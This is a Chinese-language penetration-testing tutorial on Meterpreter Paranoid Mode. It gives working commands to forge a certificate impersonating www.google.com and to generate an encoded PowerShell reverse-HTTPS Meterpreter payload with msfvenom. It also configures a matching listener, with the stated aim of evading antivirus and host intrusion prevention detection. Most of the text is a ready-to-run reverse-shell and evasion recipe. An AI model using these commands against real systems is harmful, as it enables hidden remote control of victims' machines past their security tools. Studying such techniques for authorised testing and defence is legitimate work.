导语:如今大多数网络环境都包含各种安全软件,以防止主机受到攻击,如端点解决方案和主机入侵防御系统。终端解决方案会在主机存在的文件中扫描已知恶意软件,主机入侵防御系统(HIPS)会对每个数据包进行检测,然后断开所有不合法的连接。
如今大多数网络环境都包含各种安全软件,以防止主机受到攻击,如端点解决方案和主机入侵防御系统。终端解决方案会在主机存在的文件中扫描已知恶意软件,主机入侵防御系统(HIPS)会对每个数据包进行检测,然后断开所有不合法的连接。
即使这些安全产品提供了额外的安全层,但还不够。系统管理员经常依赖于这些控件,并允许用户执行脚本,从而导致执行任意代码并最终导致系统受损。
对于渗透测试来说,可以通过创建包含编码的Payload脚本来绕过这些控件,连接进行加密来躲避Hips的检测。HD Moore在2015年曾介绍使用Meterpreter Paranoid Mode作为一种安全连接的方法。
生成证书
OpenSSL可用于生成自定义证书。
openssl req -new -newkey rsa:4096 -days 365 -nodes -x509 -subj "/C=UK/ST=London/L=London/O=Development/CN=www.google.com" -keyout www.google.com.key -out www.google.com.crt && cat www.google.com.key www.google.com.crt > www.google.com.pem && rm -f www.google.com.key www.google.com.crt
或者Metasploit Framework有一个可以用来自动从信任源创建一个虚假证书的模块。
auxiliary/gather/impersonate_ssl
生成payload
Metasploit MsfVenom可用于生成编码的有效负载(PowerShell Base64),它将使用之前生成的证书。
msfvenom -p windows/meterpreter/reverse_winhttps LHOST=192.168.100.3 LPORT=443 PayloadUUIDTracking=true HandlerSSLCert=/root/Desktop/www.google.com.pem StagerVerifySSLCert=true PayloadUUIDName=ParanoidStagedPSH -f psh-cmd -o pentestlab.bat
配置监听器
当配置监听器时,还需要使用两个附加选项。这是通知处理程序它将使用的证书(与Payload相同),并在接收到连接时执行SSL证书验证。
· HandlerSSLCert
· StagerVerifySSLCert
set payload windows/meterpreter/reverse_winhttps set LHOST 192.168.100.3 set LPORT 443 set HandlerSSLCert /root/Desktop/www.google.com.pem set StagerVerifySSLCert true
从目标主机上执行Patload起,打开一个加密的Meterpreter会话,它将不允许HIPS检查数据包并断开连接。
Meterpreter Paranoid Mode
使用Meterpreter Paranoid Mode工具可以完全自动完成上述过程。github可以找到使用这个工具的全部细节。
总结
上述过程经常被用于渗透测试中,可以躲避杀毒软件以及HIPS对流量的检测。
特别感谢James Hemmings以及Gabriel对本技术的贡献。